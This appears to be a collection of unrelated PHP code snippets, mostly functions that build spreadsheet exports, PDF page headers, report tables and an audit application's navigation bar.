KULIAH\");\r\n\r\n\t\t$objPHPExcel->setActiveSheetIndex(0);\r\n\r\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\\\r\n header('Content-Disposition: attachment; filename=\"DATA-MATA-KULIAH.xlsx\"');\r\n $objWriter->save(\"php://output\");\r\n\t}", "public function getSummary();", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "public function getSummaryData();", "function Header()\n\t{\n\t\t// Police Arial gras 24\n\t\t$this->SetTextColor(255,10,22);\n\t\t$this->SetFont('Arial','B',14);\n\t\t// Décalage à droite\n\t\t$this->Cell(10);\n\t\t// Titre (ligne,titre)\n\t\t$this->Cell('',10,'Liste des employes',0,0,'C');\n\t\t// Saut de ligne\n\t\t$this->Ln(20);\n\t}", "function pl_header_color(){\n\t\n\t$color = ( pl_check_color_hash( ploption( 'headercolor' ) ) ) ? pl_hash_strip( ploption( 'headercolor' ) ) : '000000';\n\t\n\treturn $color;\t\n}", "public function buildPaneSummary();", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "function print_column_headers($screen, $with_id = \\true)\n {\n }", "public function pi_list_header() {}", "function __paintGroupResultHeader($report) {\n\t\treturn '<div class=\"code-coverage-results\"><p class=\"note\">Please keep in mind that the coverage can vary a little bit depending on how much the different tests in the group interfere. If for example, TEST A calls a line from TEST OBJECT B, the coverage for TEST OBJECT B will be a little greater than if you were running the corresponding test case for TEST OBJECT B alone.</p><pre>' . $report . '</pre></div>';\n\t}", "public function Header()\n {\n // Set custom header and footer\n $this->setCustomHeader();\n\n if (array_key_exists($this->category, $this->categories)) {\n $title = $this->categories[$this->category]['name'];\n } else {\n $title = '';\n }\n\n $this->SetTextColor(0, 0, 0);\n $this->SetFont($this->currentFont, 'B', 18);\n\n if (0 < PMF_String::strlen($this->customHeader)) {\n $this->writeHTMLCell(0, 0, '', '', $this->customHeader);\n $this->Ln();\n $this->writeHTMLCell(0, 0, '', '', html_entity_decode($title, ENT_QUOTES, 'utf-8'), 0, 0, false, true, 'C');\n } else {\n $this->MultiCell(0, 10, html_entity_decode($title, ENT_QUOTES, 'utf-8'), 0, 'C', 0);\n $this->SetMargins(PDF_MARGIN_LEFT, $this->getLastH() + 5, PDF_MARGIN_RIGHT);\n }\n }", "function get_column_headers($screen)\n {\n }", "public function setHeader() {\n $dt = date('j M, Y');\n $name_header = '';\n $ao = new Application_Model_DbTable_AuditOwner();\n if ($this->usertype != '') {\n $name_header = \"&nbsp {$this->userfullname}\";\n }\n $complete_user = array('ADMIN','USER','APPROVER');\n $complete_audit = '';\n $audit_id = $this->audit['audit_id'];\n logit(\"audit: \" . print_r($this->audit, true));\n $complete_audit .= <<<\"END\"\n<li class=\"divider\"></li>\n<li class=\"tri\"><span style=\"color:black;padding-left: 15px;\"> With Selected Audit:</span></li>\nEND;\n\n # incomplete and owned audit OR not incomplete audit can be viewed\n if (($this->audit['status'] == 'INCOMPLETE' && $this->audit['owner']) || $this->audit['status'] != 'INCOMPLETE') {\n $complete_audit .= <<<\"END\"\n<!li class=\"divider\"></li-->\n<li><a href=\"{$this->baseurl}/audit/view\"><span title=\".icon .icon-color .icon-book \" class=\"icon icon-color icon-book\"></span> View Audit</a></li>\nEND;\n }\n # only incomplete and owned audit can be edited\n if ($this->audit['status'] == 'INCOMPLETE' && $this->audit['owner']) {\n $complete_audit .= <<<\"END\"\n<!--li class=\"divider\"></li-->\n<li><a href=\"{$this->baseurl}/audit/edit/\"><span title=\".icon .icon-color .icon-edit \" class=\"icon icon-color icon-edit\"></span> Edit Audit</a></li>\nEND;\n }\n if (in_array($this->usertype, $complete_user)) {\n $complete_audit .= <<<\"END\"\n<!--li class=\"divider\"></li-->\n<li><a href=\"{$this->baseurl}/audit/exportdata\"><span title=\".icon .icon-color .icon-extlink \" class=\"icon icon-color icon-extlink\"></span> Export Audit Data</a></li>\nEND;\n if ($this->audit['owner']) {\n # $ao->isOwned($audit_id, $this->userid)) {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/delete\"\n onclick=\" return confirm('Do you want to delete Selected Audit?');\">\n <span title=\".icon .icon-color .icon-trash \" class=\"icon icon-color icon-trash\"></span>\n Delete Audit</a></li>\nEND;\n }\n $complete_audit .= <<<\"END\"\n<li class=\"divider\"></li>\n<li class=\"tri\"><span style=\"color:black;padding-left: 15px;\"> Change Audit State:</span></li>\nEND;\n if ($this->audit['status'] == 'INCOMPLETE' && $ao->isOwned($audit_id, $this->userid)) {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/complete\">\n<span title=\".icon .icon-color .icon-locked \" class=\"icon icon-color icon-locked\"></span> Mark Audit Complete</a></li>\nEND;\n }\n if ($this->audit['status'] == 'COMPLETE' && $ao->isOwned($audit_id, $this->userid)) {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/incomplete\">\n<span title=\".icon .icon-color .icon-unlocked \" class=\"icon icon-color icon-unlocked\"></span> Mark Audit Incomplete</a></li>\nEND;\n }\n if ($this->audit['status'] == 'COMPLETE' && $this->usertype == 'APPROVER') {\n $complete_audit .= <<<\"END\"\n<li><a href=\"{$this->baseurl}/audit/finalize\"\nonclick=\" return confirm('Do you want to finalize Audit (#{$this->audit['audit_id']}-{$this->audit['tag']})?');\"><span title=\".icon .icon-color .icon-sent \" class=\"icon icon-color icon-sent\"></span> Mark Audit Finalized</a></li>\n<li><a href=\"{$this->baseurl}/audit/reject\"\n onclick=\" return confirm('Do you want to reject Audit (#{$this->audit['audit_id']}-{$this->audit['tag']})?');\"><span title=\".icon .icon-color .icon-cross \" class=\"icon icon-color icon-cross\"></span> Mark Audit Rejected</a></li>\nEND;\n }\n }\n $this->header = <<<\"END\"\n<div class=\"navbar\">\n <div class=\"navbar-inner\">\n <div class=\"container-fluid\">\n <a class=\"brand\" href=\"{$this->baseurl}{$this->mainpage}\">\n <span title=\".icon .icon-black .icon-check \" class=\"icon icon-black icon-check\"></span> <span>eChecklist</span>\n </a>\nEND;\n $newuser = '';\n if ($this->usertype != '') {\n if ($this->usertype == 'ADMIN') {\n $newuser = <<<\"END\"\n<li><a href=\"{$this->baseurl}/user/create\">\n<span title=\".icon .icon-green .icon-user \" class=\"icon icon-green icon-user\"></span> New User</a></li>\nEND;\n }\n\n $this->header = $this->header . <<<\"END\"\n<div class=\"btn-group pull-left\" style=\"margin-left:100px;\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n <span title=\".icon .icon-blue .icon-clipboard \" class=\"icon icon-blue icon-clipboard\"></span>\n <span class=\"hidden-phone\">Audit</span>\n <span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\nEND;\n if (in_array($this->usertype, $complete_user)) {\n $this->header .= <<<\"END\"\n <li><a href=\"{$this->baseurl}/audit/create\"><span title=\".icon .icon-green .icon-clipboard \" class=\"icon icon-green icon-clipboard\"></span> New Audit</a></li>\nEND;\n }\n $this->header .= <<<\"END\"\n <li><a href=\"{$this->baseurl}/audit/search\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span> Search for Audit</a></li>\n{$complete_audit}\n <li class=\"divider\"></li>\n <li><a href=\"{$this->baseurl}/audit/runreports\"><span title=\".icon .icon-color .icon-newwin \" class=\"icon icon-color icon-newwin\"></span> Run Reports</a></li>\nEND;\n\n if (in_array($this->usertype, $complete_user)) {\n $this->header .= <<<\"END\"\n <li class=\"divider\"></li>\n <li><a href=\"{$this->baseurl}/audit/import\"><span title=\".icon .icon-blue .icon-import \" class=\"icon icon-blue icon-archive\"></span> Import Audit</a></li>\nEND;\n }\n $this->header .= <<<\"END\"\n</ul>\n</div>\n\n<div class=\"btn-group pull-left\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n <span title=\".icon .icon-blue .icon-tag \" class=\"icon icon-blue icon-tag\"></span>\n <span class=\"hidden-phone\">Lab</span>\n <span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\n <li><a href=\"{$this->baseurl}/lab/create\"><span title=\".icon .icon-green .icon-tag \" class=\"icon icon-green icon-tag\"></span> New Lab</a></li>\n <li><a href=\"{$this->baseurl}/lab/select\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span> Select a Lab</a></li>\n <li class=\"divider\"></li>\n <li><a href=\"{$this->baseurl}/lab/edit\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span> Edit Selected Lab</a></li>\n</ul>\n</div>\n\n<div class=\"btn-group pull-left\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n<span title=\".icon .icon-blue .icon-user \" class=\"icon icon-blue icon-user\"></span>\n<span class=\"hidden-phone\">User</span>\n<span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\n {$newuser}\n <li><a href=\"{$this->baseurl}/user/find\"><span title=\".icon .icon-blue .icon-search \" class=\"icon icon-blue icon-search\"></span>Find User</a></li>\n</ul>\n</div>\n\n<!--div class=\"btn-group pull-left\">\n<a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n<span title=\".icon .icon-blue .icon-flag \" class=\"icon icon-blue icon-flag\"></span>\n<span class=\"hidden-phone\">Language</span>\n<span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\">\n <li><a href=\"{$this->baseurl}/language/switch/EN\"><span title=\".icon .icon-green .icon-flag \" class=\"icon icon-green icon-flag\"></span> English</a></li>\n <li><a href=\"{$this->baseurl}/language/switch/FR\"><span title=\".icon .icon-green .icon-flag \" class=\"icon icon-green icon-flag\"></span> French</a></li>\n <li><a href=\"{$this->baseurl}/language/switch/VI\"><span title=\".icon .icon-green .icon-flag \" class=\"icon icon-green icon-flag\"></span> Vietnamese</a></li>\n</ul>\n</div-->\n\n<!-- user dropdown starts -->\n<div class=\"btn-group pull-right\">\n <a class=\"btn dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\">\n <span title=\".icon .icon-orange .icon-user \" class=\"icon icon-orange icon-user\"></span>\n <span class=\"hidden-phone\"> {$name_header}</span>\n\t<span class=\"caret\"></span>\n </a>\n <ul class=\"dropdown-menu\">\n <li><a href=\"{$this->baseurl}/user/profile\"><span title=\".icon .icon-blue .icon-contacts \" class=\"icon icon-blue icon-contacts\"></span> Profile</a></li>\n <li><a href=\"{$this->baseurl}/user/changepw\"><span title=\".icon .icon-blue .icon-contacts \" class=\"icon icon-blue icon-contacts\"></span> Change Password</a></li>\n <li class=\"divider\"></li>\n\t<li><a href=\"{$this->baseurl}/user/logout\">Logout</a></li>\n </ul>\n</div>\n<!-- user dropdown ends -->\nEND;\n $auditinfo = '';\n //if ($this->dialog_name == 'audit/edit') {\n $auditinfo = \"<div style=\\\"margin:6px 0 6px 20px;padding-right:5px;\\\">Selected Audit: {$this->showaudit}</div>\";\n //}\n $this->header .= <<<\"END\"\n<div style=\"display:inline-block;\">\n <div style=\"margin:6px 0px 6px 20px;padding-right:5px;\">Selected Lab: {$this->showlab}</div>\n {$auditinfo}\n <div style=\"clear:both;\"></div></div>\nEND;\n } else {\n $this->header = $this->header . <<<\"END\"\n<div class=\"btn-group pull-left\" style=\"margin-left:100px;\">\n<a class=\"btn\" href=\"{$this->baseurl}/user/login\"><span title=\".icon .icon-blue .icon-contacts \" class=\"icon icon-blue icon-contacts\"></span> Login</a></div>\nEND;\n }\n $this->header = $this->header . <<<\"END\"\n </div>\n </div> <!-- style=\"clear:both;\"></div -->\n</div>\nEND;\n\n $this->view->header = $this->header;\n }", "public function summary();", "function adleex_resource_list_column_header( $cols ) {\nglobal $current_screen;\n\n\tif ($current_screen->post_type!='resource') return $cols;\n\n\tunset($cols['date']);\n\t$header = array(\n 'post_title' => 'title', );\n\tforeach($header\tas $k => $v) $cols[$k]=$v;\n\treturn $cols;\n}", "public function scheme_download(){\n $this->load->library('PHPExcel');\n $this->load->library('PHPExcel/IOFactory');\n\n $objPHPExcel = new PHPExcel();\n \n $objPHPExcel->createSheet();\n \n $objPHPExcel->getProperties()->setTitle(\"export\")->setDescription(\"none\");\n\n $objPHPExcel->setActiveSheetIndex(0);\n\n // Field names in the first row\n $fields = array(\n 'Scheme Name',\n 'Start Date',\n 'End Date',\n 'Product'\n );\n \n $col = 0;\n foreach ($fields as $field)\n {\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, 1, $field);\n $col++;\n }\n \n // Fetching the table data\n $this->load->model('scheme/schememodel');\n $results = $this->model_scheme_schememodel->getschemedata($this->request->get);\n \n $row = 2;\n \n foreach($results as $data)\n {\n $col = 0;\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, $data['Scheme_Name']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, $data['START_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, $data['END_DATE']);\n $objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, $data['product_name']);\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n \n \n \n \n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setItalic(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setBold(true);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->setSize(12);\n $objPHPExcel->getActiveSheet()->getDefaultRowDimension('A1:L1')->setRowHeight(20);\n $objPHPExcel->getActiveSheet()->getStyle('A1:L1')->getFont()->getColor()->setRGB('FF0000');\n $row++;\n }\n\n \n\n \n$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n // Sending headers to force the user to download the file\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"Attendance_report_'.date('dMy').'.xls\"');\n header('Cache-Control: max-age=0');\n\n $objWriter->save('php://output');\n \n }", "function Header()\n {\n $this->m_projectedHeaderCounts = new ShadowCounts();\n }", "function print_header_entries() {\n\n $result = '';\n\n if($entries = $this->get_header_entries()) {\n $result .= '<div class=\"php_report_header_entries\">';\n foreach($entries as $value) {\n\n $label_class = \"php_report_header_{$value->css_identifier} php_report_header_label\";\n $value_class = \"php_report_header_{$value->css_identifier} php_report_header_value\";\n\n $result .= '<div class=\"' . $label_class . '\">' . $value->label . '</div>';\n $result .= '<div class=\"' . $value_class . '\">' . $value->value . '</div>';\n\n }\n $result .= '</div>';\n }\n\n return $result;\n }", "public function createReport()\n {\n foreach($this->_data as $data)\n {\n //$data must have id and data elements\n //$data may also have config, header, footer, group\n\n $id=$data['id'];\n $format=isset($data['format'])?$data['format']:array();\n $config=isset($data['config'])?$data['config']:array();\n $group=isset($data['group'])?$data['group']:array();\n\n $configHeader=isset($config['header'])?$config['header']:$config;\n $configData=isset($config['data'])?$config['data']:$config;\n $configFooter=isset($config['footer'])?$config['footer']:$config;\n\n $config=array(\n 'header'=>$configHeader,\n 'data'=>$configData,\n 'footer'=>$configFooter\n );\n\n //set the group\n $this->_group=$group;\n\n $loadCollection=array();\n\n $nextRow=$this->objWorksheet->getHighestRow();\n if($nextRow>1)\n $nextRow++;\n $colIndex=-1;\n\n //form the header for data\n if(isset($data['header']))\n {\n $headerId='HEADER_'.$id;\n foreach($data['header'] as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$headerId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['header'][$k]['width']))\n $this->objWorksheet->getColumnDimensionByColumn($colIndex)->setWidth(pixel2unit($config['header'][$k]['width']));\n if(isset($config['header'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['header'][$k]['align']);\n }\n\n if($colIndex>-1)\n {\n $this->objWorksheet->getStyle(PHPExcel_Cell::stringFromColumnIndex(0).$nextRow.':'.PHPExcel_Cell::stringFromColumnIndex($colIndex).$nextRow)->applyFromArray($this->_headerStyleArray);\n }\n\n //add header row to load collection\n $loadCollection[]=array('id'=>$headerId,'data'=>$data['header']);\n\n //move to next row for data\n $nextRow++;\n }\n\n\n //form the data repeating row\n $dataId='DATA_'.$id;\n $colIndex=-1;\n\n //form the template row\n if(count($data['data'])>0)\n {\n //we just need first row of data, to see array keys\n $singleDataRow=$data['data'][0];\n foreach($singleDataRow as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$dataId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['data'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['data'][$k]['align']);\n }\n }\n\n //add this row to collection for load but with repeating\n $loadCollection[]=array('id'=>$dataId,'data'=>$data['data'],'repeat'=>true,'format'=>$format);\n $this->enableStripRows();\n\n //form the footer row for data if needed\n if(isset($data['footer']))\n {\n $footerId='FOOTER_'.$id;\n $colIndex=-1;\n $nextRow++;\n\n //formiraj template\n foreach($data['footer'] as $k=>$v)\n {\n $colIndex++;\n $tag=\"{\".$footerId.\":\".$k.\"}\";\n $this->objWorksheet->setCellValueByColumnAndRow($colIndex,$nextRow,$tag);\n if(isset($config['footer'][$k]['align']))\n $this->objWorksheet->getStyleByColumnAndRow($colIndex,$nextRow)->getAlignment()->setHorizontal($config['footer'][$k]['align']);\n }\n if($colIndex>-1)\n {\n $this->objWorksheet->getStyle(PHPExcel_Cell::stringFromColumnIndex(0).$nextRow.':'.PHPExcel_Cell::stringFromColumnIndex($colIndex).$nextRow)->applyFromArray($this->_footerStyleArray);\n }\n\n //add footer row to load collection\n $loadCollection[]=array('id'=>$footerId,'data'=>$data['footer'],'format'=>$format);\n }\n\n $this->load($loadCollection);\n $this->generateReport();\n }\n }", "function outputFormat(array $headers, array $cells, $result, $content_name) {\necho '<h3>'.ucfirst($content_name).' Content</h3>';\necho '<table>';\nforeach ($headers as $val) {\necho '<th>'.$val.'</th>';\n}\nwhile($row = mysqli_fetch_array($result))\n {\n echo '<tr>';\n foreach ($cells as $val) {\n echo '<td>'.$row[$val].'</td>';\n }\n echo '</tr>';\n }\n echo '</table>';\n}", "function createSpreadsheet(){\n\t\t\n\t\n\t\terror_reporting(E_ALL);\n\t\tini_set('display_errors', TRUE);\n\t\tini_set('display_startup_errors', TRUE);\n\t\n\t\tdefine('EOL',(PHP_SAPI == 'cli') ? PHP_EOL : '<br />');\n\t\n\t\t/** Include PHPExcel */\n\t\t//require_once dirname(__FILE__) . '/../Classes/PHPExcel.php';\n\t\t\n\t\trequire_once $GLOBALS['ROOT_PATH'].'Classes/PHPExcel.php';\n\t\n\t\n\t\tPHPExcel_Cell::setValueBinder( new PHPExcel_Cell_AdvancedValueBinder() );\n\t\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = new PHPExcel();\n\t\t$currentMonth = date('Y-m');\n\t\t$title = $this->getHhName() . ' ' . $currentMonth;\n\t\t\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"HhManagement\")\n\t\t->setLastModifiedBy(\"HhManagement\")\n\t\t->setTitle($title)\n\t\t->setSubject($currentMonth);\n\t\n\t\t//default styles\n\t\t$objPHPExcel->getDefaultStyle()->getFont()->setName('Calibri');\n\t\t$objPHPExcel->getDefaultStyle()->getFont()->setSize(12);\n\t\n\t\n\t\t//styles....\n\t\n\t\t//fonts\n\t\t//font red bold italic centered\n\t\t$fontRedBoldItalicCenter = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'bold' => true,\n\t\t\t\t\t\t'italic' => true,\n\t\t\t\t\t\t'color' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF40202',\n\t\t\t\t\t\t)\n\t\t\t\t),\n\t\t\t\t'alignment' => array (\n\t\t\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font red bold\n\t\t$fontRedBold = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'bold' => true,\n\t\t\t\t\t\t'color' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF40202',\n\t\t\t\t\t\t)\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font red\n\t\t$fontRed = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'color' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF40202',\n\t\t\t\t\t\t)\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font Green\n\t\t$fontGreen = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'color' => array(\n\t\t\t\t\t\t\t\t'argb' => '0008B448',\n\t\t\t\t\t\t)\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font Bold Italic\n\t\t$fontBoldItalic = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'bold' => true,\n\t\t\t\t\t\t'italic' => true,\n\t\t\t\t)\n\t\t);\n\t\n\t\t//font Bold Italic Centered\n\t\t$fontBoldItalicCenter = array (\n\t\t\t\t'font' => array (\n\t\t\t\t\t\t'bold' => true,\n\t\t\t\t\t\t'italic' => true,\n\t\t\t\t),\n\t\t\t\t'alignment' => array (\n\t\t\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER\n\t\t\t\t)\n\t\t);\n\t\n\t\t//background fillings\n\t\t//fill red\n\t\t$fillRed = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF40202',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//fill yellow\n\t\t$fillYellow = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFF2E500',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//fill green\n\t\t$fillGreen = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FF92D050',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//fill gray\n\t\t$fillGray = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFD9D9D9',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//fill cream\n\t\t$fillCream = array (\n\t\t\t\t'fill' => array(\n\t\t\t\t\t\t'type' => PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t'startcolor' => array(\n\t\t\t\t\t\t\t\t'argb' => 'FFC4BD97',\n\t\t\t\t\t\t),\n\t\t\t\t),\n\t\t);\n\t\n\t\t//sets the heading for the first table\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1')->applyFromArray($fillCream);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B1','Equal AMT');\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B1')->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B1')->applyFromArray($fillCream);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('C1','Ind. bills');\n\t\t$objPHPExcel->getActiveSheet()->getStyle('C1')->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('C1')->applyFromArray($fillCream);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('D1','To rent');\n\t\t$objPHPExcel->getActiveSheet()->getStyle('D1')->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('D1')->applyFromArray($fillCream);\n\t\n\t\t$numberOfMembers = $this->getNumberOfMembers();\n\t\t$monthTotal = $this->getMonthTotal();\n\t\t$rent = $this->getHhRent();\n\t\t$col = 65;//starts at column A\n\t\t$row = 2;//the table starts at row 2\n\t\n\t\t//array used to associate the bills with the respective user\n\t\t$array =[];\n\t\n\t\t//sets the members names fair amount and value\n\t\t$members = $this->getMembers();\n\t\tforeach ($members as $member) {\n\t\t\t$name = $member->getUserFirstName();\n\t\t\t$cellName = chr($col) . $row;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($cellName,$name);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellName)->applyFromArray($fontBoldItalic);\n\t\n\t\t\t$cellInd = chr($col+2) . 